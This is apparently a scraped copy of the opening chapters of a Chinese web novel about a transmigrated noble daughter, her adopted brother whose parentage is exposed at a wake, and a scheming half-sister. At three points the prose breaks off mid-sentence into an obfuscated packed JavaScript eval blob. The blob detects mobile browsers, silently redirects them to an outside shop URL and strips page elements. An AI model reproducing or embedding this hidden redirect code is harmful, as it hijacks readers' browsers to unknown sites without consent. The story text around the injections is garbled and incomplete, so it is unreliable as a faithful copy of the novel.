《和我哥小号定亲后》 1. 灵堂 兴平十七年冬,京城冻云垂檐,朱门积雪。 五更梆子敲过,黑黢黢的屋脊轮廓显出锯齿状的淡影,天光将明,万物偃声。 威远伯府西翼芙蕖院内,裴珠今夜睡得不太安稳。 梦里几度被魇住,惊醒时颈后已漫出大片潮腻的汗,她再不愿合眼,只好将手探出帘帐外,含糊问,“锦雁,什么时辰了?” 不久,便听锦雁贴近帐边细声答,“姑娘,才寅时初……还能稍睡一会……” 裴珠在被衾中挣扎几番,扶床坐起了身,“还是早些收拾准备吧,免得又被父亲抓到小辫子……” 昨日她是寅时末到的灵堂,不算最晚的一波,却仍被裴大老爷寻机训了近两刻钟,若不是祖父故交东平侯恰来吊唁,说不准大半日便过去了。 或正因此,裴珠趿着鞋子,摇摇晃晃落座在镜奁前,望向镜中那个显然困倦未消,面色苍白的自己,心底忽而泛起一阵诡谲的紧张,仿若,风雨欲来。 怎么回事。 她抚了抚胸口,平复这没来由的心绪,遥遥看向支开条缝的轩窗,被框住的一角天空仍是淡淡的灰石色,不见丝毫年关下的喜庆。 大约这天色,也在为祖父祭奠吧。 十日前,缠绵病榻多年的祖父仿佛早知大限已至,将阖府亲眷都叫到跟前,留下了两句遗言后,便溘然长逝。 其一,他的私产一半划给夫人庞氏,留待她百年之后自行处置,另一半,则划给长房次子裴洲,由他全数继承,包含紧邻伯府的那处别业。 其二,裴洲乃是他最重视的后嗣子孙,即使亲父叔伯兄长皆在世,也须作为他的承重孙,务必守满三年重孝。 为这以孙越子的遗言,这几日府内闹得沸反盈天,二房叔婶联同族老宗亲,揪着这位“幸运儿”裴洲——裴珠的双胞兄长,唇枪舌剑,闹到现在也没个结果。 裴珠一面披麻戴孝,跪地守灵,面颊上几行泪痕干了又湿,无心去听他们啰嗦。 不过,这并非是她第一次面临长辈的过世。 上辈子她生在现代,爸妈年少冲动结婚,很早便各奔东西,妈妈南下打工意外离世,自此她便与姥姥相依为命,直到十几年后,姥姥也因病去世,她便彻底成了孤家寡人。 一朝车祸殒命,她睁眼便带着记忆投胎到这威远伯府,成了刚落地的龙凤双胎中的五姑娘,而抱她亲昵哄睡的母亲,亦与上辈子的妈妈生就同一张脸! 她便哇哇大哭,接受了这场新生。 这辈子裴珠生在高门富户,温饱不愁,吃睡无忧,母亲疼惜,兄长友爱,唯一一点烦扰,也不过就是有个偏心眼子的亲爹。 但裴珠向来心宽,谁对她好,她尽力回报,谁对她不好,她就当没这个人。 裴大老爷对她而言,只不过是个生物学上的父亲而已。 还不及过世的祖父来得亲近。 裴珠端详镜中那张瓷白面庞,伸手揉捏拍打几下,试图醒神,身后锦莺正将她披散的长发轻柔梳顺,绾成圆髻盘在头顶,戴孝跪灵时不必上妆,倒也省事。 锦鹃又捧来粗麻孝服,服侍她套在长袄外头,裴珠捏了捏衣角内衬,果然,新缝上了几层素绫后,明显细软许多,前两日磨得她脖颈好几道深深红印,很是作痛。 待戴上麻冠,系好腰带,在袖中藏好手炉,正要出门去时,锦雀忽而从外头仓皇冲进了屋,急声道。 “姑娘,不好了!” “方才三太爷他们领着几个府外的妇人,气势汹汹往灵堂去,押着四爷跪下,不知说了些什么,大老爷怒得扇了太太一巴掌……” “什么!——” 裴珠心口重重一跳。 她急奔出屋,连身后丫鬟们喊着要给她围斗篷也顾不上,心里半是一早落定的不祥预感,半是突如其来更可怕的预想。 究竟什么样严重的事情,才能让她那个好体面如性命的父亲,当着这么多人的面对母亲动粗? 更何况,四哥数月前回乡应试秋闱,一举高中头名,年方十六的解元,便在文风鼎盛的江南,也数十年难得一见。 父亲得知消息后,喜得恨不得亲自回乡去接他,待他回府后更是整日嘘寒问暖,几乎要将四哥供在了头顶。 这样有出息的四哥,父亲这两日甚至还为他舌战群儒,驳回二房要平分那份祖父留给四哥的私产的要求,又是因为什么,这样快地倒戈向三太爷他们…… 裴珠脑中一团乱麻,愈发焦灼,脚下步伐不停,扑面而来的风雪刺得灼痛,却叫她更是清明。 一定,一定发生了什么,她此刻猜想不到的事情—— 终于,裴珠一脚迈入了祖父灵堂。 两排拥立着府内府外长辈宗亲,绵延灰黑成峰,她无视他们或高或低的“不知礼数”的斥责,费力挤到了最前方。 四哥俯首跪在祖父棺椁前,沉默不语,母亲披着长长麻衣,半低垂首,一半面颊上已红肿起来,看得裴珠心口一痛,她立刻奔过去。 而她那位父亲被裹在厚麻衣之中,竟看不清脸,像座堵住的火炉不住闷重喘息,最后怒不可遏爆发。 “温玉堇,我裴家是哪点对不住你,才叫你竟胆大包天,做出这样的偷龙换凤的丑事!——” “你竟敢!” “你竟敢——拿外头的野种来充作我裴晖的儿子——” 一柄重锤袭来,裴珠脑中一空。 什么…… 四哥,居然不是…… 不可能! 母亲一向循规蹈矩,谨言慎行,怎么可能冒这样大的风险做这种事! 一定是有人在陷害母亲和四哥! 二房和三太爷,不正为了祖父私产和四哥闹得不可开交吗? 这定是他们的构陷,四哥若被污蔑成府外抱养的,他们不就可以名正言顺夺去祖父私产了! 裴大老爷也忒糊涂! 这种鬼话他也信? 裴珠心中飞快思索,见母亲和四哥竟都不知辩驳,由着三太爷和叔伯们帮腔奚落,她又气又急,正要开口,母亲垂下的手轻轻攥住她的,晃了一晃。 寒凉,刺骨。 她猛然转头望向母亲。 那双总是静幽的眼中泛着红,似泪非泪,母亲并未开口,只是几不可察地,摇了摇头。 这、这……什么意思…… 难不成、四哥,还真是母亲抱养进府的? 她这个整日只爱习字看书,院门都不爱出的母亲,竟然闷不吭声地干了这样一件捅破天的大事! 裴珠紧紧咬唇,不知从何辨起,若母亲已对此事供认不讳,她就算揪着堂下那几个瑟缩的妇人再审,也毫无作用。 四哥他也默不作声。 是了,以他的身份,既不能证伪,也无法辩白! 只是这样下去,以裴大老爷的心性,恨之欲之死,怕不是马上就要将四哥逐出家门…… 裴珠焦灼至极。 果然—— “诸位叔伯宗亲作证,父亲英灵在上,我裴晖今日便就要将这孽种从族谱上除名,逐出裴家——” 裴晖拱手向堂下宗亲,又朝祖父棺椁长拜,伸手一指跪着的四哥,再指向温玉堇,咬牙狠声道。 “至于这胆敢混淆我裴家宗嗣血脉的毒妇,乱家绝子,已在七出之中,我即刻便须将她休了!” “父亲不可!——” “不可以——” 裴珠与四哥同时急急出声。 至此时,裴珠才终于与四哥四目相对,他眼眶发红,唇上却几无血色,惨白着脸,竟与母亲如出一辙,看向她极其轻微地摇了摇头。 刹那间,裴珠恍然大悟,脚下惊得倒退半步。 心头顿时喷薄而出一股怒意。 他俩竟一早都心知肚明,却联手将她瞒在鼓里! 难怪都一言不发! 裴珠喉头发紧,怒火与难过滋生缠绕,眼中莫名涌出一阵热泪,她偏过头拭泪,一时不肯再看四哥和母亲。 只听四哥道,“母亲嫁入伯府二十余载,事舅姑至孝,主持中馈,抚育儿女,无一日不辛劳,多次得祖父祖母称许,实乃有安家之德,眼下又正为祖父戴孝,堪为三不去之列……” “你称的哪门子祖父,谁又是你的祖父!” 裴晖怒极反笑,“三不去,得要她曾为我父守丧三年才可,父亲过世才四日,我今日便写这休书——” 正此时,廊下遥遥传来一道苍老若钟的重斥。 “裴大!你是巴不得你老子死得还不够早是不是!——” 伴着手杖重重击地的闷声,峰立人群散开,一位满头银丝的披麻老妪由人搀扶近前,双目微睐,望向裴晖。 裴晖忙上前道,“母亲,您有所不知,儿子这是——” “好了!” 这老妪便是故去的老伯爷之妻,裴珠的亲祖母,庞老夫人。 “他过世才几天,你就领人大闹灵堂,是要他走也走得不得安息吗?” “母亲!儿子也是无奈之举,实乃这毒妇扰乱我裴家血脉,本想处置后再向您禀告——” 庞老夫人却不听他的辩白,只侧首示意,她的贴身嬷嬷随即上前,恭敬将一封书信递送到裴晖眼前。 “你亲自念一念吧。” 裴晖不明所以,只见信封上书“吾儿裴晖亲启”,这是父亲的笔迹! 他心头一沉,忙不迭拆开。 「吾儿知悉,抱养外姓子实为父默许,非温氏一人之过,当年珠儿体弱,方士言须有男婴伴生方能成活,今裴洲虽非尔骨血,然十余年承欢膝下,汝妻更视若己出。」 「此子敏而聪慧,至纯至孝,年方十六便高中解元,将来必成大器,若他日事发,可逐其出宗,然西府别业乃吾私产,当赐他容身。」 「自此恩怨两清,不得再究。」 裴晖抬首望向母亲,只见她淡然道,“纵然无血脉之亲,你与温氏多年抚育之情,难不成竟是假的吗?” “昨日还是亲父子,今日反倒成仇家?何必闹得那样难看,叫满京城都来看我们威远伯府的笑话!” 裴晖怔忪半晌,才自觉领悟到了亡父信中深意,亦明白了母亲的言外之意。 “儿子明白了……” 檐下乌云蔽日,天色青灰,冬风中魂幡飘荡,击瓦发出闷响。 一场大戏轰轰烈烈开场,半路便收锣停唱。 裴珠扶母亲回房梳洗上药,只见她握着自己的手低声啜泣,“珠儿,娘对不起你……” “娘,你别这样说……”裴珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如今入夜冰寒,她竟还到处乱窜,怕不是病情又得加重。 裴珠不以为意,只顾迈步向前。 不料脚下刚过转角,隔着重重枝杈,忽而遥见裴玥与一人立在红梅树下,正悄然低话。 细看去,她面前那人,竟是拥裘而出的四哥! 这么晚了,裴玥来找四哥做什么? 给他送别? 奇怪,平时也没见她跟四哥多要好。 她示意丫鬟们噤声,蹑手蹑脚上前,凝神细听。 孰料下一刻,裴玥的声音忽地拔高,尖细欲泣,仿若剖心起誓—— “四哥哥,纵然你不肯相信,但我真的倾慕于你!此情天地可鉴!” 这一声,活活将裴珠惊得魂出七窍,险些没跌倒在地。 她没听错吧? 裴玥她、她这是在……向四哥表白? 这妮子果真烧坏了脑子不成! 数日之前,前十五年里,她可都是四哥的亲妹妹! 就算四哥已不在裴家的族谱上,可如今祖父才刚过头七,无论从法理还是世情,她都千不该万不该说出这样的话! 更何况,若是传扬出去,刚中解元就要守孝的四哥,恐怕从此前途无望! 裴珠屏息敛气,心中怒吼。 ——四哥你倒是快些开口啊! 快斥责她胡言乱语,绝了她的念想呀! 廊下积雪压枝,发出簌簌脆响,静夜之中,恍若裴珠的心,一点点坠落。 四哥他竟然,呆立在原地,半晌也不出声。 不知在沉思什么…… 他、他该不会和裴玥……是两情相悦吧…… 五雷轰顶,横空霹雳。 震得裴珠脑中嗡嗡作响。 再听不下去。 她强撑着原路返回,已顾不上先前来意。 只是一夜辗转难眠,梦里都见雪地那双璧人,侧首向她露出笑容,恰是四哥与裴玥那两张脸。 吓得裴珠五更天就爬起身,重振旗鼓,又急急赶去了四哥院中。 身后丫鬟们鱼贯而入,替她理起昨夜本要送给四哥的各色吃食物事。 而她将四哥拽至一旁,左顾而言他,嘱托起这几日早重复多次的话,不外乎注意身体,保暖加餐。 话说到最后,她才仿若不经意提起,“我前两日看了本新话本打发时间,书里提到了前朝建煦年间,有位姓许的新科进士娶了养妹,不幸被同科举子联名揭发……” “可叹他本有大好前程,却因此只被授了边地一介小官,多年不得升迁,平白蹉跎岁月……” 她负手转了一圈,最后停在四哥眼前,“哥哥,你说这可惜不可惜?” 话音方落,四哥一怔,面上浮着的那层温煦笑意,忽而烟雾一般散了。 待开口时,他的嗓音有些晦涩,“阿珠,你提这些,是什么意思……” 还能什么意思! 就是让你别发疯和裴玥在一起的意思! 裴珠心底抓狂。 一日是哥哥,一生是哥哥。 你是万万不能同妹妹在一起的呀! 2. 喜堂 “不过随口一说罢了,家中有哥哥你这个举子在,我自然更是明白十年寒窗的不易……” “若是像那位许进士般苦读多年,好不容易蟾宫折桂,壮志却永不得酬,岂不是要抱憾终身,到时再生悔意,怕是已来不及……” 正说间,忽听轩窗外啪地一阵轻响,裴珠不由循声望去。 只见庭院中一株白梅半裹冰雪压弯枝梢,冬风过时雪粒簌簌下落,竟惊起树下数只啄食寒雀,扑腾翅羽仓皇飞走,溅出阵空濛雪雾。 直至惊雀消失在檐角,裴珠的目光才移回到四哥这儿。 只见他垂着眼帘,面上血色尽褪,苍白犹胜雪三分,沉默半晌,才终于低哑吐出一句。 “确实如此。” 区区四个字,尽现千回百转的郁郁愁肠,裴珠只能摇头叹息,表示爱莫能助。 “四爷,五姑娘,该起身了。” 恰有下人进屋提醒,裴珠便拍了拍仍发怔的四哥,两人匆匆起身往灵堂去,再没人提方才那段没头没尾的话。 ——今日,正是祖父出殡的日子。 …… 辰时正刻,威远伯府正门洞开。 数十名杠夫抬着杉木棺椁稳步而出,四哥与三哥左右扶棺,父亲执引魂幡在前,二叔捧重孝牌位紧随其后。 “请主,升舆——” “摔盆,发引——” 漫天纸钱飘落,雪屑交错,砖瓦石阶,处处染白。 裴珠随众长辈跪送在后,只瞥见那幡尾的素绸扫过青石阶,残雪洇湿了一角。 四下响起高高低低的泣声。 自此日起,四哥便随父亲叔伯兄长扶灵归颍州祖茔,三年未归。 …… 三年后。 冬月十五,京城雪后初霁。 裴珠睡眼惺忪间,便被丫鬟们联手从被褥中捉起来梳洗打扮,待恢复清明时,镜中人已被盘好了鬓边蓬松的云髻,锦莺端来一盘珠钗轻声请她挑选,裴珠点了一支素银嵌芙蓉石的挑心,斜斜簪入了发髻正中,又听凭锦莺的审美,点缀了几朵同色系的绢花。 她刚换上玉色缠枝暗纹缎竖领长袄,配杏粉底满幅罗裙,在大铜镜前转圈照时,外头锦雀掀帘进屋,快步到她身旁低声禀告。 “听王婆子那边回话说,六姑娘上月便使丫鬟去绣华楼定了件男子用的狐裘大氅,昨日刚取回来,听说皮料并工费近百两,不过是用她的私房银子,徐姨娘似乎也不知情……” 裴珠沉吟,“百两银子的男子大氅……距离二哥哥的生日足足还要六个月,莫非是孝敬给父亲?……” 又立刻否定,“绝无可能。” 今岁开春,她们的亲爹伯府大老爷裴晖仿佛鬼迷了心窍,不顾裴玥的哭闹绝食反对,硬是将她一母所出的大姐嫁去了成国公府,做西府五老爷的填房续弦。 自此,裴玥眼中对他的浓厚孺慕显然大不如前,不日日怨怼就不错了,怎还舍得花大价钱孝敬? 那不会是要送给—— 裴珠又打了个寒战。 三年前,裴玥雪夜表白次日起,她已命人暗自盯梢,但凡裴玥要向四哥传递什么信笺物件,统统寻机拦截,决不能放出漏网之鱼。 这三年里还算风平浪静,裴玥大概意识到了山高路远,联系不便,就渐渐淡了念头,不再试图往颍州送信寄物。 只不过,眼瞧着三年守孝之期已尽,四哥亦踏上回京之路,她那多半中了邪的心,极有可能已死灰复燃。 这件大氅,八成就是备着送给近日归京的四哥的! 裴珠屈指扣着桌沿,思索对策。 她不知自己是否算管得太宽,但要她亲眼见情同手足的四哥,因着一时情迷意乱就自断前程,却也绝对不行! 又有婆子进来报,“姑娘,太太遣人来催了,要您先去正院,再一道去西府新房里瞧瞧呢……” 祖父过世后,伯府分府分家,祖母搬去东跨院的宁安堂,大房入主正院明心堂,二房敬德堂那边便俗称西府。 今天正是二房三哥裴泽的大婚之日。 锦雁过来替她围上浅丁香紫缎白狐风毛斗篷,她捧上裹着锦套的小手炉,沿着九曲尺素游廊,不久便到了正院垂花门,便先按捺下心思,展露笑容,一跃而入。 孰料先出现的,却是裴大老爷那张僵硬阴沉脸! 他又脱口便训。 “女子贵在贞静二字,颜色其次,你如今年过十九,怎地行事还是这样粗莽无状!” “将来到了夫家,没得还要议论我裴晖不会教女……” 裴珠暗叹晦气,竟忘了今天亦是他的休沐日。 ——亲侄子大婚,他这个做大伯的自然要在场。 自从三年前四哥身世事发,原本就看她极不顺眼的裴大老爷,如今每每见她都是眉头竖成川字,动辄便斥。 裴珠庆幸她骨子里早便是成年人,若真是个小姑娘,在裴大老爷这高压之下,不知要留下多少心理阴影。 她抿唇乖巧一笑,朝他万福行礼,低首时翻了个大白眼。 “父亲教诲得极是。” 认错是随口的事,改错是另一码事。 幸而裴大老爷大概另有要事,没再多缠,便匆忙离去。 待进屋后,母亲已穿戴齐整正在品茶,见她来了,便语带笑意告诉了她一个消息。 “四哥今日就要回来啦?” 原来,他托人送的信今早才递送进伯府,信中道他走水路回京,顺当的话今日便能抵京,或能赶上三哥大婚。 裴珠难免担心,“父亲他,会不会拦着不让哥哥进伯府呀?” 母亲安抚地按了按她的手,淡淡道,“不会的,你父亲他,最要体面。” 也是,年初大姐姐出阁时因着父亲仍在孝中的缘故,并未在伯府大摆宴席,三哥大婚,算得上是伯府出孝除服的头一桩大喜事,数年不能正常往来的人家正该借此重新走动,父亲忙着联络人情来往都来不及,哪儿还顾得上四哥。 更何况三哥和四哥一向要好,一早便说已送信回颍州,盼着四哥能及时赶回京喝这杯喜酒。 只是眼见母亲这淡若沉水的神情,提起父亲仿佛在谈陌生人的口吻,裴珠心知,三年前祖父灵堂上的那一巴掌,早便彻底打散了那本就微薄的夫妻情分。 这几年里,父亲对她是动辄便斥,对母亲则是视而不见,同处正院,两人数月也说不上一句话。 这对夫妻,实数陌路。 “走吧。” 母亲率先起身,打断了她的思绪,裴珠忙跟上,二人率着仆众朝西府而去。 穿过连接东西府的月洞门,但见一路结彩悬幡,焕然一新,游廊下每隔几步便挂着一对大红灯笼,上贴着双喜金字,新漆的朱红廊柱映着日光,显得格外鲜亮。 正逢喜事的二婶,笑得红光满面,挽起母亲就热切谈起了她这备婚经,裴珠注意到她几度打住话头,似乎正强憋着没将那句话说出口——大嫂你将来兴许也用得上呢! 这三年里,二婶在母亲面前简直扬眉吐气,走起路来都要抖上三抖,浑然不见四哥中解元那日,她那艳羡中混杂妒忌的谄媚笑容了。 毕竟,标准“别人家的孩子”四哥,这下真是别人家的孩子了。 裴珠曾偶然听见她朝身边嬷嬷得意道——“我才是伯府唯一的,真正儿女双全的正房嫡妻。” 如今的母亲,在她眼中大约是只生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伴随着一声尖细的怒斥,一道花团锦簇的身影自门外现身。 裴玥梳着高髻,簪赤金累丝镶红宝分心,配数支金托小珍珠发簪,身穿桃红色五彩缂丝通袖袄,墨绿色织金缠枝牡丹下裙,行走间珠串摇曳,日光下锦彩生辉,极为夺目耀眼。 裴琼目瞪口呆,“裴老六,今儿是我哥哥娶新妇,不是你要出阁嫁人呀!” 裴珠憋不住笑出了声。 自然,她俩这个反应又惹来了裴玥的怒目相视。 待到吉时喜堂观礼,新房见挑盖头,一路上都只见裴玥哼声斜眼,像不屑与她们两个小人多言。 全福人高声唱念,“礼成——祝新人白头偕老,瓜瓞绵绵!” 新郎官三哥满面通红,不敢与新妇对视,被二哥他们哄堂大笑着推搡拖去前院入席,房中只剩女眷,新嫂嫂生得浓眉秀眼,十分妍丽,也不露怯,同她们姐妹几个纷纷见礼后,又赠她们一人一个绣工精巧的香囊,对裴琼回赠的络子更是连连赞叹。 裴琼见与嫂嫂投缘,喜得主动要留在新房陪她说些体己话,裴珠便告退出来,正要往内院女席去时,发觉先一步出来的裴玥竟早不见踪影。 她忽有所觉。 恰此时,锦雀又疾步来报。 “姑娘,四爷方才回府了!眼下正在前院入席呢。” 裴珠的喜悦刚吊起一瞬,又听她道,“刚才见六姑娘也正绕道往前院去呢……” 坏了! 她可算明白裴玥今日如此盛装打扮的原因了! 3. 避嫌 “姑娘,四爷如今已不再算裴家子弟,更不是您的兄长,这些天您为何要命奴婢紧盯着西府别业,看四爷何时归京呢?现在一听四爷入府,又这样着急往前院去……” 青石小径上薄雪未消,一对主仆挽臂向前,脚下湿滑,踉跄几步险些栽倒。 裴玥扶着廊柱站定,忙去摸发顶簪钗,又问丫鬟绿琴,“快替我瞧瞧,歪了没?” 绿琴抿唇笑,“不曾歪呢,姑娘今儿五更天便起来梳头,又上了落云轩的时兴妆面,要我看,怕是神仙妃子也比不过……” “你这丫头嘴愈发甜了……” 说罢,裴玥又哀叹一句,“我这么费心打扮,也不知他喜欢什么样的……” 绿琴闻言一愣,生出了个不可置信的猜测。 “姑娘您莫非——” 裴玥立即竖指按住她的嘴,重重强调,“你别说出口。” “如今这府里,我最能信任的,只有你了……” 大姐高嫁自顾不暇,二哥榆木脑袋指望不上,姨娘眼界奇窄又短视,她这好不容易得来的新生,仍旧只能依靠自己。 上辈子亦是如此。 大姐在夫家难产过世,二哥终日游手好闲,她费力谋划上了五姐没福气错过的好婚事,却也备受双重婆婆的日日磋磨,满院妾室明里暗里的挑衅,夫君偏是个只知在脂粉堆里厮磨度日的废物,从不能给她半分助力。 挣扎数年,裴玥最终只得病榻含恨离世。 不料再睁眼时,她竟重回了五年前,回到一切还未开始的那一年! 她欣喜若狂,决心定要改变自己与姐姐的命运。 可事与愿违,无论她如何努力,大姐姐仍如前世般嫁去了成国公府,做了阎王头子五老爷的填房。 裴玥便彻底笃定,若不想虚耗了这宝贵新生,她就必须攀上一位能助自己逆天改命的贵人,借由他之手,避开一切磨难。 而这样的人,威远伯府中恰好便曾有那么一位! 那位被大伯逐出家门的四哥,南下三年了无音讯,久到再没人提起他年仅十六高中解元的风光,久到人人皆以为他便就此一蹶不振。 可后来—— 谁曾想,他竟有那样的金尊玉贵身份! 便是偷摸提上一句,都要惊得连连咂舌。 既然潜龙在渊,便就正应让她这样的天命之人,借势而起,登临那个全天下所有女子都渴盼的位置! 裴玥愈发心神激荡,脚下步履更急。 待至游廊尽头,她遥遥朝前望去,只见通往前院的垂花门外,恰有几位年轻公子并肩现出身影。 裴玥眼中倏地一亮。 中间那位身着大红吉服,自是今日的新郎官三哥,左侧是正傻笑的二哥,而右侧那道颀长身影,雪地里如风如竹,正是她期盼已久的那个人! 她抬步就疾冲过去,急切开腔,“四哥哥,三年未……”见…… “哥哥!——” 恰在此时,一阵从由远及近的魔音现世,极具穿透力地,阻断了她才掐起的那把娇软嗓音。 而那道该死的身影,霎时挡到了裴玥跟前,阻隔了她投去的脉脉含情目光。 四哥也立时倾身望向那人,裴玥都快瞧不见四哥的脸了! 只瞥见她云髻上簪着的那簇木芙蓉绢花,花瓣纤薄欲滴。 又是裴珠这个烦人精! 她怎地也来了? 裴珠可不知背后的裴玥正在心中咒骂,只顾伸手在四哥的肩臂上拍打掐捏,又仰头看他,不住感叹。 “哥哥你竟又长高了这么多!而且比三年前那会肩膀更宽,臂膀也更粗了!” 离京时还是瘦削少年,如今竟已成身量挺拔的俊逸青年了。 岁月当真奇妙! 她不自觉围他转了一圈,眉开眼笑问,“你是不是有按照我的嘱咐,每日读书习文之余,花上一个时辰锻体强身啦?” “如今看来是相当有成效呀!” 四哥裴洲身着件南地式样的月白绣银纹曳地长袍,束碧玉冠,披青色大氅,兰亭玉树,楚楚谡谡,冬风里飘飘若谪仙。 稍稍探首时,他一张清隽脸上微微含笑,便就那样一直瞧着裴珠,好一会才轻声笑叹。 “阿珠,你也……长大了。” 听此叹息,裴珠本要出口笑话他这老成口吻,却不知不觉,悄然收了声。 三年不见,四哥的性情似乎并无大变化,仍爱在她面前充大人。 但不知怎地,眼下他的面庞上竟透着些捉摸不透、又翻天覆地的差别——分明还是那张脸,却皮肉骨骼处处判若两人。 裴珠说不上来,便只好归结为少年步入青年的重重蜕变。 “三年未见,四哥哥如今英俊更胜从前,真是风姿卓越,令人心折……” 身后传来一道极其陌生的甜腻娇柔嗓音,裴珠下意识猛地回首,恰与裴玥那张盛妆的脸四目相对。 这话是裴玥说的? 那个最擅吊着嗓子尖叫怒骂的六丫头又去哪儿了? 裴珠顿生警惕。 ——她怕不是想追求前兄长的老毛病又犯了吧? 眼见四哥朝裴玥颔首,正要答话,裴珠仍未想出将他们隔开的招数,正束手无策之时,新郎官三哥裴泽仿佛听见她的呼唤,横插进来笑着打趣。 “果真远香近臭不成,六妹妹日日能见的二哥和我,倒从未听过你这般盛赞呀?” 二哥裴淇立刻附和,“就是就是!玥儿你只会骂我榆木脑袋……” “来,你倒是排个序,咱们三个谁最俊谁最丑!哎珠儿你也来,你俩都来排一个!” “二哥你何必自取其辱哈哈哈……” “行吧!要我说,今儿还是你这个新郎官最俊,京城首俊!哈哈哈哈!” 两人插科打诨,无形之中恰好将话题带远。 裴玥快咬碎牙根,恨不得将她这个蠢哥哥丢进湖里去,非但帮不上忙,还总来坏她好事。 余光一扫,不远处她的贴身丫鬟正捧锦匣过来,她心中一喜,又挺直腰板重振旗鼓。 裴珠亦有所觉。 她目光如炬,敏锐瞥见那锦匣一角,正刻着“绣华楼”三字。 不好,这怕不就是裴玥疑似要送给四哥的大氅! 果然。 裴玥亲手捧锦匣递向四哥,笑得格外温柔娴雅。 “妹妹我与四哥哥数年不见,思及三年里你在颍州老家为祖父结庐守孝,日日茹素,想来定是十分清苦……” “如今既已回京,不久后又要下场春闱,如今正是寒冬腊月,妹妹便亲手制了这大氅赠与四哥哥,望四哥哥添衣加暖,保重身体,年后下场一举夺魁,不负多年寒窗!” 裴珠心中叹服鼓掌。 士别三日,当刮目相待,看来,她也不能再用老眼光再看裴玥了。 这一套话术行云流水,情真意切,毫无破绽,任谁见了都是贴心好妹妹,四哥恐怕没有拒绝的余地。 裴珠甚至产生了一丝自我怀疑,她是否真的有必要继续做这个恶人,去棒打鸳鸯拆散这对有情人呢? 哎,人各有命。 你俩好自为之。 我要不,还是别掺和了? 她正无奈叹气,犹豫就此撤退收手时,却见四哥却神情踌躇,好似颇是为难,开口却仍尽力带笑。 “多谢六妹妹美意,只是……” 嗯? 四哥竟要拒绝? 裴珠重打起精神,紧紧盯住了他。 只见四哥轻叹了口气,显出几分落寞神色,“三年前我身世大白,自此离开伯府,裴大人不再认我为子,我亦不愿违悖他的意愿,厚颜称他为父亲……” 裴淇裴泽相视一眼,同步收敛了嬉笑模样。 三年前的那天,他们亦历历在目。 一日之间,阖府长辈们纷纷变了面孔,从前每每称赞四弟天资英才,将裴淇裴泽两个衬成土鸡瓦犬,令他俩常因此愤愤不平,私下对四弟颇有怨言。 可那天后,长辈们却又口口声声“野种”“孽种”“父母不祥”“乱家之兆”这类诛心之语,将四弟弃若敝屣。 要他们说大伯父真是心硬如铁,何至于就要即刻将他逐出家门,收作养子也好呀!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780091|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顺带还能博一个仁义名声! 而且,即便大太太此举有失,但稚子何辜,四弟又不是自己硬要进的伯府,何必揪着他指责羞辱不停。 长辈们或许趋炎附势,但他俩自认男儿在世当讲兄弟义气,哪怕如今不在一本族谱之上,也该继续拿四弟当亲兄弟才是。 此次裴泽成亲,更是一力主张请裴洲来赴宴,便就是想对内对外都摆明他的态度。 不过身世相关到底有些尴尬,三兄弟见面时便只叙近况,不谈旧事,谁料四弟现在竟主动先提起了。 “二哥三哥乃至众姐妹的情谊,我亦看在眼中,铭记在心,一日不敢忘却……” 他话还未落,裴淇裴洲左右各重重一掌拍他肩膀,恨不得指天发誓。 “就该如此!不管长辈们如何,咱们几个都还是亲兄弟姐妹!” “不错!你永远是我们的好四弟!妹妹们的好四哥!” 场面一时群情激烈,快化作威远伯府版桃园三结义。 裴珠本正要动容,忽又觉得哪里不对。 只见四哥话锋又是一转,“两位兄长厚爱,我自是感激不尽,不过恐有一桩疏漏,弟弟我不得不提……” “啊?什么疏漏?” “众妹妹已至议亲出阁之年,按说就算是两位哥哥这样的亲兄长,也需注意避嫌……” “更何况,我如今已算是外男,莫说是六妹妹方才赠我的大氅,便就是私下单独说几句话,传扬出去,或许都于妹妹们名声有碍……” 裴淇仿佛幡然醒悟,“四弟你言之有理呀!你确实是不能穿着玥儿亲手缝制的大氅出去……” 裴玥急得要去拧他后腰,“哥哥你在胡说什么啊!” 她就知道二哥成事不足,败事有余! 人一心急,总易口不择言,她脱口便问,“那裴珠呢,四哥哥你今后是不是也要不和她来往了?” 裴珠扬脸看向裴洲,幸灾乐祸一笑。 四哥呀四哥,你拿内外有别当筏子来拒绝裴玥还算明智,但你不会真要跟我也一刀两断吧? 咱俩可是异父异母的亲兄妹! 裴洲倾身望她,觉察出裴珠面上那抹狡黠的笑,见她莹白面庞皎然若云间月,拨开朦胧云雾,便见眉心一点朱红小痣,日光下灼灼鲜明,心底不由一声喟叹。 他唇畔微微噙笑,摇了摇首,“裴大人虽与我一刀两断,从此我便不再有父亲,可是天可怜见,温夫人却一向视我若己出,我便仍有母亲……” 言下之意,他视裴珠仍若亲妹。 但同父不同母的裴玥,自然另当别论了。 裴淇连连称是,“母亲一向心慈,是疼爱你的!” “大伯母确实如此。” 裴泽目光自六妹与四弟二人之间几番扫过,心下隐隐猜到了什么,他自是按捺不言,不动声色地将话头引去别处。 而二哥已经缠上六妹,笑扯着她的袖子,涎着脸求她把这件新大氅改送给自己。 见裴玥磨牙瞪眼气得要伸手掐他,他又泥鳅般往裴洲裴泽身后躲闪,叫着三弟四弟给他做主,孩童似地闹了起来。 